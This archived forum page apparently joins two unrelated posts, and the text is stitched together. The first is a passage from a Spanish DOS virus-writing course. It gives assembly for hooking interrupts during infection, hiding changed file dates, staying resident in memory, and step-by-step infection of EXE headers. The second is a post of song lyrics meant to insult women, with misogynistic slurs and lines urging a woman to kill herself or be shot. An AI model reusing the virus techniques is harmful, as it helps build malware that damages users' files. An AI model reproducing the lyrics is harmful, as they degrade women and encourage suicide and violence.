interrupción del sistema. Sólo hemos de leer la dirección de la interrupción 24. Guardarla en una variable . Cambiar la dirección a un procedimiento nuestro que no devuelva codigos de error y luego cuando ya hallamos contaminado devolver a la interrupción 24 su dirección inicial. (fijaos en la función 35h y 25h de la int 21h, para leer la dirección de una interrupción y para cambiarla) mov ax,3524h ;en ah el codigo de la función (35h) int 21h ;en al el número de la interrupción Esto devuelve en BX el offset y en ES el segmento de la interrupción mov cs:[bp+old_int24_off],bx mov cx:[bp+old_int24_seg],es Con esto guardo en memoria la dirección de la interrución original Y ahora desvío la interrupción 24 a un procedimiento mío. mov dx,offset new_int24 mov ax,2524h int 21h ;en ds:dx dirección de la nueva función jmp Contaminar ;supongo ds = cs ya que estamos contaminando com's new_int24: xor al,al ;en al la interrupción 24 devuelve el código iret ;de error por lo que la pongo a 0 :> contaminar: Después de contaminar simplemente devolvemos el valor original a la interrupción con... lds dx,cs:old_int24 mov ax,2524h int 21h Fijate en las variables que añado a la zona de variables old_int24 label dword old_int24_off dw 0 old_int24_seg dw 0 Defino una etiqueta llamada old_int24 para referenciar el inicio a los valores del offset y del segmento de la interrupcion 24 así con el comando lds dx,cs:old_int24 los puedo cargar directamente en DSX sin tener que leer las 2 variables por separado. Otras mejoras que podríamos añadir es la verificación del tamaño del archivo. Ten en cuenta que un archivo com sólo puede tener 65 kbytes de tamaño eso hace que si el hoste est muy cerca de ese tamaño y si tú le añades el código del virus ,el conjunto de hoste+virus no se podría cargar en un único segmento por lo que el programa se colgaría . Por eso lo mejor es verificar el tamaño con una rutina como esta (supongo en la variable longitud el tamaño del hoste) .... mov ax,50000d cmp word ptr [bp+longitud],ax jb size_ok ;salto si el primer elemento jmp salir ;a comparar es menor al segundo size_ok: También es interesante guardar la hora y la fecha del archivo contaminado y luego restaurar la fecha y la hora , así nadie se dará cuenta que la última modificación del archivo fué cuando el virus le contaminó }:> Para eso utilizaremos la función ax=5700h de la int 21 para leer la fecha del archivo y la ax=5701h para cambiarla. En dx se obtendrá el campo de la hora y en cx la fecha.Según el siguiente criterio. Bit(s) ______________________ post no hecho por mi si algun problem cursohacker __________________ - INSTALACION DE UN VIRUS EN LA MEMORIA DEL ORDENADOR - ------------------------------------------------------------------------------- Este artículo intenta explicar los métodos mas usados de residencia, con un enfoque mas práctico que teórico, dejando en claro lo fundamental para poder aprovecharlos, en especial el de MCB. Muestra ejemplos de los 2 tipos de técnicas descritos, que pueden (en el caso del MCB) usarse directamente en sus propios virus. La teoría no esta muy detallada, pero se encontrará todo lo necesario para que el novato comprenda y pueda usar estos métodos. Y con la información del articulo, si desea profundizar la teoría, es sólo cuestión de leer alguna guía o manual, que hable sobre la memoria, ya que aquí se explica lo básico necesario (espero...). Empezemos: Los métodos más usados para dejar a un virus residente son: los que el DOS proporciona o el método de MCB (Memory Control Block). La primera forma es la más simple, pero también la mas ineficaz, primero porque le informa al DOS que se esta dejando algo residente... además al ejecutarse esa función retorna el control al DOS. El programa que se intente ejecutar termina!. El virus que use esta técnica para evitar salir al DOS en su instalacion en memoria tiene que reejecutarse. Para quedar residente, se ejecuta a si mismo otra vez (serv. 4bh), y en su segunda ejecución ejecuta una int 27h o llama al servicio 31 de la int. 21h, esta a su vez, le da el control al programa padre, al que se cargo primero, y este puede entonces terminar, ejecutando al anfitrión. Si esto no se hiciera, al ejecutar una int 21, por ejemplo, se le cedería el control al interprete de comandos... Una de las característica de los virus que usan esta técnica es que suelen colocarse al principio de los archivos, estos servicios dejaran residente la cantidad de parrafeo que se les indique desde el comienzo del programa en memoria... Si tenemos un COM de 50K y el virus al final, al usar la int 27h, y dejar residente, por ejemplo, 1k, lo que quedaria seria el primer K del COM, no el virus que esta al final.... Es evidente que no pondemos dejar 50k residentes... para que el virus quede en memoria se puede relocar(mover), a otro bloque, tranferirle el control, y luego este le cederá el control al programa padre... Para evitar esto, muchos se colocan al principio del programa que infectan. Claro que esto es lento, porque hay que leer todo el file, y luego escribirlo después del virus, lo que no pasa si va al final, en ese caso solo hay que escribir el virus, no el virus y el archivo!. Este método es poco elegante, ademas de lento si se infecta dejando el virus al comienzo, entre otras cosas... Abajo, sigue un fuente de un TSR, no de un virus!, solo un TSR normal para ilustrar su funcionamiento. Este ejemplo intercepta la int. 21 y luego le pasa el control sin hacer nada. Se le puede agregar el código para hacer lo que se quiera. =============================================================================== =============================================================================== code segment assume cs:code,ds:code org 100h start: jmp instalar ;Salta a la rutina de ;instalacion. ;En esta variable va la direccion original de la int 21h. old_21 dd 2 new_21: ;Aca va la rutina que se cuelga de la interrupcion 21h. jmp cs:[old_21] ;Salta a la int original. instalar: ;Obtengo el vector original de la int 21 mov ax, 3521h int 21h mov word ptr old_21, bx mov word ptr old_21+2, es ;Seteo el nuevo vector de la int 21 mov ax,2521h push cs pop ds mov dx, offset new_21 int 21h ;Queda residente mov ah, 31h mov dx, 30d ; ________________________________________ Contaminando ficheros EXE --------------------------- Los ficheros com no parecen un problema, pero ¿y los EXE?, no son ni mucho menos difíciles de contaminar aunque hay que dominar el header (la cabecera) de los EXE. Los EXEs pueden tener más de un segmento lo que hace necesario una cabecera con información acerca de la memoria que necesitará el programa, la dirección de inicio donde se comenzará a ejecutar el programa etc. Además posee una tabla de realocación para que el programa se pueda cargar a partir de cualquier segmento de memoria. Cuando el DOS carga un EXE primero constuye un PSP y un environment block (como ya hac¡a con los COM) luego lee el header y a partir de los datos de éste carga el EXE. Luego realocatea el código.¿Pero qué coño es eso de realocatear el código?. En un Exe las referencias de segmento se hacen a partir del segmento 0 pero el código no tiene porqué cargarse necesáriamente en ese segmento por eso se creó la realocación. En el Exe se almacena una tabla con punteros a todas las referencias a segmentos ya sabéis, instrucciones del tipo. call 1234:0023 (ojo que un call 23 no hace referencia a segmentos) jmp 1000:2344 nuestro virus no tendrá referencias de segmentos ya que será menor que 65000 bytes (espero je,je,je) ,excepto el salto al cs:ip inicial del exe. pero esa dirección la realocatearemos manualmente > En el Exe se almacena una lista de punteros que indican donde hay referencias de segmento . Pero ojo que estas referencias tampoco estan realocateadas por lo que el DOS suma a cada puntero. El segmento efectivo donde se cargó el EXE + 10 (tamaño del PSP).Ahora tenemos la dirección real donde hay una referencia de segmento y el DOS realocatea la dirección sumando la dirección efectiva + 10. Después de hacer esto con cada puntero de la tabla de realocación el Dos tendrá en memoria el código con la dirección que toca para cada segmento. EXE PROGRAM FILE Header CS:IP (Header) 0000:0000 + (relocation Eff. Segment 1000 + table entries=2) PSP 0010 = ------------------------- Entry Point 1010:0000 Relocation Table 0000:0003 + 1010H = 1010:0003 0000:0007 + 1010H = 1010:0007 Program Image PROGRAM IN MEMORY PSP 1000:0000 call 0001:0000 call 1011:0000 1010:0000 nop nop 1010:0005 mov ax, 0003 mov ax, 1013 1010:0006 mov ds, ax mov ds, ax 1010:0009 Aqu¡ tenéis la estructura del header de los EXE. Offset Descripcion 00 Marca de EXE (MZ = 4D5A) 02 Numero de bytes en la ultima pagina (de 512 bytes) del programa 04 Numero total de paginas de 512 bytes, redondeado hacia arriba 06 Numero de entradas en la Tabla de Alocacion 08 Size del header (en paragrafos, incluyendo la Tabla de realocacion) 0A Minimo de memoria requerido (en para) 0C Maximo de memoria requerido (en para) 0E SS inicial 10 SP inicial 12 Checksum 14 IP inicial 16 CS inicial 18 Offset de la Tabla de Alocacion desde el comienzo del file 1A Numero de Overlays generados En 00 tenemos la marca de los EXE que es MZ (es lo que diferencia un exe de un com) Si os fijáis con las entradas 04 y 06 tenemos el tamaño del EXE. (pages)*512+reminder.S¡ lo sé es una manera muy rebuscada de poner el tamaño lo pod¡an haber puesto directamente con esos 4 bytes ,pero bueno as¡ hay m s emoción je,je,je.En 06 tenemos el número de punteros de la tabla de realoción (Cada puntero ocupa 4 bytes con lo que 4*nº de punteros nos dar el tamaño de la tabla de realocación) En 08 el tamaño del header en paragrafos (incluyendo la tabla de realocación). Después tenemos el Minimo y m ximo de memoria también en par grafo En los Exes al ocupar m s de un segmento no es posible cargar la pila desde la dirección FFFFh como hac¡amos en los com hemos de indicar en el header donde queremos que esté la pila. Por lo que hay dos entradas de dos bytes cada una con el segmento y el offset para la pila. En el offset 12 tenemos el checksum. Normalmente está a 0 con lo que lo podemos utilizar para marcar el archivo como contaminado. El los offset 14 y 16 el IP y CS inicial (comienzo de la ejecución). En el offset 18 el offset de comienzo de la tabla de realocación normalmente es 1c es decir 28 en decimal. Si os fijáis normalmente 4*nº de punteros de la tabla de realocación + offset tabla de realocación = paras del header * 16 Pero esto no siempre es igual ya que tenemos que poner el header en parágrafos y no siempre la cabecera + la tabla de realocación nos dan un múltipo de 16 con lo que normalemente tendremos de 1 a 15 bytes de basura en el file,después de la tabla de realocación (que también se podr¡an utilizar para marcar el file como infectado). En 1a se menciona el número de overlays generados , hay programas que por su gran tamaño no se pueden cargar enteros en memoria por lo que hay que cargarlos poco a poco mediante overlays internos (carece de utilidad en esta lección : que són la unidad mínima de memoria que se puede reservar. S¡,s¡ de aqu¡ viene el número mágico je,je. Ahora supongo ,entenderéis mejor la residencia. En la residencia buscamos el segmento del MCB disminuyendo el segmento donde está el PSP Con esto no nos vamos FFFFh bytes hacia atrás sino que sólo nos vamos 16 bytes que es lo que ocupa el MCB (je,je,je,je ,apasionante ¿no?) Pasos para infectar un archivo EXE ---------------------------------- 1. Leemos el header a un área de memoria para poder modificarlo a placer. Calculamos el tamaño del archivo. Y calculamos el CS:IP que dever tener el header (para que apunte al código del virus que situo al final del archivo). Puedes poner de 1-15 bytes de basura en el archivo para redondearlo a parágrafo esto hace que la ip sea 0 (invariante) siempre y te ahorras tener que calcular el desplazamiento que sufrirán las variables (como hac¡amos en los archivos com). Tén en cuenta que si utilizas dir stealth (técnica que evita que se vea un incremento del tamaño en los archivos contaminados ,necesitás saber el tamaño exacto del archivo) al poner de 1-15 bytes de basura el stealth te se irá de 1 a 15 bytes por lo que podrías redondearlo a un número fijo poniendo luego basura después del virus :>. 2. Copiamos el virus al final . Espero que no tengas problemas en hacer esto, sino despídete. 3. Calculamos el SS:SP. El virus logicamente se tendrá que buscar un sitio para tener la stack. Esto es ,porque si el programa tenía la stack sobre el código del virus ,podría sobreescribirlo mientras lo ejecutamos y te aseguro que eso no es bueno para nuestro virus creetelo.:> 4. Calcular el nuevo tamaño que tendrá el archivo.Esto no es dif¡cil simplemente buscamos el tamaño del archivo (ten en cuenta que ya tenemos el código del virus al final ) y dividimos por 512 el resulatado incrementado en 1 ser el número de páginas y el resto el reminder. 5. Calculamos la memoria mínima que necesitará el programa. Simplemente sumamos el tamaño en parágrafos del virus. a la memoria m¡nima. 6. Escribimos el nuevo header en el archivo. (En el código del virus almacenamos el antiguo CS:IP y el SS:IP para devolver el control al HOSTE) NOTA: Al cargar un archivo EXE DS y ES apuntan al PSP ,SS y CS pueden ser diferentes.Ojo con lo que hacéis con DS y ES porqué los necesitaréis luego para dar el control al HOSTE.(realocatear el salto de vuelta al hoste). ________________________________________

0
0
C
canciones para dedicar que insultan y degradan la mujer
FemmeporAnónimo2/13/2011

estas si son canciones que insultan a las mujeres jejejej ps wenop aca les traigo los temas perfetos para cuando una prostitita osea una golfa de prosapia te diga q nop el dia que aquella zorra dessenchafada te deje.o te traiciones perras hijasdeputa. link: http://www.youtube.com/watch?v=4UqtNRzn4i8 When you told me that it would last for ever i can't belive you didn't think that i would know better i don't love you you're just a fuckin' skeezer i pleased your beaver but now i gotta leave ya you tried to meterte con el huidos but we'll know que sus orgasmos son fingidospues todos sabemos que your pussy es mas grande que meterse en un jacuzzi pensaste que yo queria con tigo buscando el anillo que se le perdio a un amigo no sabes ni cuanto me divierte que me quieras tanto por checarte el aceiteand now you only want to mess with tito pero el solo quiere que le chupen el pito y lo dejas con la pinga bién parada y a la hora de la hora ya no le chupaste nada por eso te dejo mojada un poco vestida y muy alborotada contigo yo no quiero nada perra hija de la chingada! porque antes estabas delgada con los pechos firmes y las nalgas bien paradas pero ahora ya estas muy aguada ya no hay quien te quieras y estas amargada contigo ya no siento nada golfa, golfa interesada coro quitate que masturbas quitate, quitate que masturbas perra arrabalera, perra arrabalera te crees que pareces la vieja mas buena te vistes bonito y no hay quien te crea luego te extraña que nadie te quiera pues todos pensamos que taes gonorrea por ahi ya me dijo un fulano que ahora te gusta también por el ano ya no controlas la calentura when you see some ass makes you lose la cordura y ahora dedicas tu vida a las artes de masturbarte link: http://www.youtube.com/watch?v=VEW1gDH-v7c Caminando por la vida, me tope con una pervertida que pa todo me decía que me quería, me decía, me decía que me quería, pero yo no le creía porque todo era mentira, mentira. Y si te duele lo que digo, te sugiero que te avientes a un pozo con tu novio, el mariposo, el escuincle caguengue y baboso que a mi vieja me bajó, me bajo por los chescos y luego me abandonó, que primero me pedía que me viniera y ahora quiere que me vaya, vaya, vaya. Que cosas tiene la vida, mi vida, porque no te suicidas, que si sigues coge y coge te vas a morir de SIDA. Coro: porque no te haces para allá, al más allá ¿a dónde? Al más allá. A ese mundo con el que soñaste, donde seguro que a todos engañaste. Y si te late y te late cortar porque no te cortas las venas y con esto apenas, la puedes librar. Y si te duele tanto y tanto que ya no puedas soportar el llanto, para eso te canto y te canto, te canto tanto que ya no te aguanto, pues deberías tener, de tener un accidente, que te quedes inconsciente, para siempre, pa que veas lo que se siente, pues ni tantito me preocupa que me digas que me quieres, porque a mi me vale madres si te enfermas, si te mueres de un plomazo, de un pasón o de un madrazo en un camión. Mal rayo te parta querida, por ser una puta "malagradecida" Mal rayo te parta querida, por ser una puta "malagradecida" Coro: porque no te haces para allá, al más allá ¿a dónde? Al más allá. Porque la vida me ha enseñado que no vales un carajo, que por unos cuantos varos, todo el mundo te ha ensartado. Vete al diablo con tu cuerpo, tus caricias y tus besos. Yo lo único que quiero, es que te bajes por los chescos. Quiero verte de rodillas, implorándome perdón. Quiero ver como te humillas, ay como lloras, ay como chillas y para verte más hermosa deberías hacerte un corte de cabeza, o de pescuezo. Bien por eso, bien por eso, conseguirte un novio bien, que le guste dispararte. que le guste disparate aquí en la sien,aquí en la sien. Coro: porque no te haces para allá, al más allá ¿a dónde? Al más all link: http://www.youtube.com/watch?v=cdyxNaWmgug Por que no puedes entender que se acabo? El espejo te devuelve una imagen que se marcho El cielo ya no escuchara tu voz Es un recuerdo en tu memoria que hace tiempo marchito Por que sigues rezandole a dios? Si ese sentimiento que existia entre los dos murio aceptalo, se termino, mi corazon sufrio y en balde lo arregle diciendote adios demasiado tarde Y es que me la suda lo que cuentes a mi espalda si eres otra mas con mucha mas cara que espalda y vas de lo que no eres ¿por que me insultas? si no lo has superado todavia tia no es mi culpa Soporte de todo por telefono, tus malos modos me trague tus mentiras, trapos sucios tenemos todos me soltaste un puto MUERETE y te quedaste tan pancha y ahora me vienes tu a mi reclamando venganza? Bah.. sientate y llora y reflexiona si te paras a pensar te doy mas de mil patadas como persona quedaste como la victima y yo fui el malo del cuento gracias por ser asi, pues pude abrir los ojos sobre el tiempo Manipulas con historias falsas que jamas pasaron por miedo a que diran, mejor niega nuestro pasado que nadie te relacione conmigo pero si haces rap es por mi.. lo recuerdas? yo no lo olvido Manipula a quien quieras ahora que puedes en un par de meses no te servira lo de fardar por ser quien eres ya ni recuerdos afectan, ni las vias de los trenes pero yo volvi a juntar a las personas que ahora tienes Me trataste como si fuera un juguete, y me da igual la verdad es que me canse de que me trataras tan mal tus gritos, tus insultos los sabemos tu y yo y dios solo te devolvi el favor con un adios Hablas de daño, y no sabes lo que pase por ti me alegra saber que nunca jamas hubo un final feliz lo di todo y ni se te ocurra decir lo contrario tu cuenta tu version y tus hechos imaginarios Me dejaste no se cuantas veces en un año jugar con los sentimientos como hiciste si hace daño y ahora dime, corrigeme si me equivoco nada de lo que ambos hicimos es ningun crimen Tal vez fui demasiado bueno y asi me lo pagas? al menos aprende a reconocer tus errores cuando la cagas claro que tras dejarlo tontee con otras chicas tia no hice nada malo, ya no te pertenecia Me amenazaste con lo que no debias dices que me querias? tergiversabas todo aunque yo te creia por que lo cuentas todo a tu manera? que nadie te cambia esa imagen de niña buena Pero lo tuyo ya es pasarse fuiste la primera en amenazarme con suicidarse pon a quien quieras en mi contra, yo al fin me quedare a gusto despues de toda la mierda que has soltado esto es lo justo Ya he callado demasiado y hay cosas que ni dire no jugare sucio con cosas personales que yo tambien se ahora si quieres haz la replica, lo que pasara es que quedaras como una ex novia histerica Todo esto vino por no querer volver contigo? fuiste tu quien dijo que si no eramos novios, tampoco amigos rebajarte a mi nivel tu, niña malcriada? nunca llegaras a el y te di toda la promo que necesitabas verdad que si interesada mia? por que no dejas ya de comportarte como una cria? Juraste arruinar mi vida con tu version si hicieras cine seria cine de ficcion la gente se dara cuenta de verdad de como eres una falsa cenicienta de un cuento que nadie quiere o nadie se cree por lo irreal que es, como la mayoria no eres para nada lo que al principio parecias Tu decias llevar el rap en las venas? el mismo rap que me pediste que dejara por ti? ME DAS PENA! o te jodio que me importara mas que tu? asi soy yo con el rap hasta llevamelo al ataud Ahora saca de mi lo que quieras como hasta el momento la diferencia entre tu y yo es que yo no miento mira hasta el punto donde has llevao las cosas bonita lo tuyo son puras mentiras no piadosas Tu madre sobra, me nombras por la espalda y en vano por que tiras la piedra si luego escondes la mano? me arrepiento tanto de haber estao contigo y si, juro por mi que es de lo poco que me he arrepentido Me doy vergüenza cuando me miro en el espejo y pienso que quise hacerme viejo a tu lado pero me hubiese consumido rapido como el incienso y ahora estoy contento de no habernos ido juntos justo en aquel momento Doy dos oportunidades, pero nunca tres tu sabes la verdad y yo tambien la se porque siempre hablas de mi si luego me dices que pasas te contradices tu sola y sola acabaras por falsa Cobarde yo por no cojerte el movil? te equivocas no lo hacia porque solo hablabas tu y te volvias loca lo que tenia que decir yo no importaba me interrumpias sin ni siquiera hacer ver que me escuchabas Y te quedabas a gusto tras soltar siempre lo mismo querias hacerme sentir como una mierda por lo visto insisto, no te falto el respeto algunos me contaban que en la historia que tu cuentas algo no encajaba Y a la mierda el 26, A LA MIERDA TU TAMBIEN a todo aquel que se meta sin tener ni idea, QUE LE DEN! nadie estuvo en mi piel ni en la tuya asi que ni opinen la historia de dos fue como tomas falsas para el cine Vales mas por lo que callas que por lo que podrias decir? si solo has hablado y lo has hecho para mentir si pensais que era feliz es porque aun no sabeis nada espero que jamas os traten como ella me trataba TU LA JODISTE! nadie se interpuso entre nosotros por que sigues pasando y conservando nuestras fotos? cuenta la verdad, no tengas miedo, tus fans seguiran alli aunque no tengan razon ambos lo sabemos Espero tu respuesta y ya se que me diras te conozco bien y otra vez a ti misma te mentiras te inventaras cosas que puedan darte juego quieres fama facil, es como jugar con fuego Por fin podras ser el centro de atencion me encantaria ver tu reaccion con esta cancion es tu traje hecho a medida, lo estabas pidiendo a gritos esto no es como cuando te escribi mensajes bonitos Yo no queria hacer esto.. pero tu me has obligado por todas las mentiras que has contado por esas fotos personales nuestras que has pasado por ti, por mi, por no verte nunca mas hasta he rezado En todas tus canciones sueltas indirectas hacia mi y entonces piensas que nuestras canciones van por ti pero no es asi, tu no eres tan importante tia esto va asi, dejanos en paz te juro que no tendras mas noticias mias Querida, te quiero..... PERO FUERA DE MI VIDA! aqui ni pinta tu familia, ni tus fans, ni tus putas amigas esta vez si puedes darte por aludida.. Por que no puedes entender que se acabo? el espejo te devuelve una imagen que se marcho el cielo ya no escuchara tu voz es un recuerdo en tu memoria que hace tiempo marchito por que sigues rezandole a dios? si ese sentimiento que existia entre los dos murio aceptalo, se termino, mi corazon sufrio y en balde lo arregle diciendote adios demasiado tarde (ahora puedes negar todo puedes engañarte y creerte tus mentiras toda esta mierda surgio de tu ira que me apoyen en esto para mi no es necesario si no te dieron esa educacion por que demuestraslo contrario? no quiero tu perdon, no quiero ni que me den la razon queda ahi, cada uno que saque su propia conclusion) link: http://www.youtube.com/watch?v=UGfFoSQOSg0 link: http://www.youtube.com/watch?v=ikGLGqyBeNo link: http://www.youtube.com/watch?v=T0k3VIItBKA link: http://www.youtube.com/watch?v=oyhjpuAiRAs link: http://www.youtube.com/watch?v=HgsgRH-K1OA jejej ps en cuanto conoscan mas temas o los escuche los pongo mientras suerte y comenten

23
0
PosteameloArchivo Histórico de Taringa! (2004-2017). Preservando la inteligencia colectiva de la internet hispanohablante.

CONTACTO

18 de Septiembre 455, Casilla 52

Chillán, Región de Ñuble, Chile

Solo correo postal

© 2026 Posteamelo.com. No afiliado con Taringa! ni sus sucesores.

Contenido preservado con fines históricos y culturales.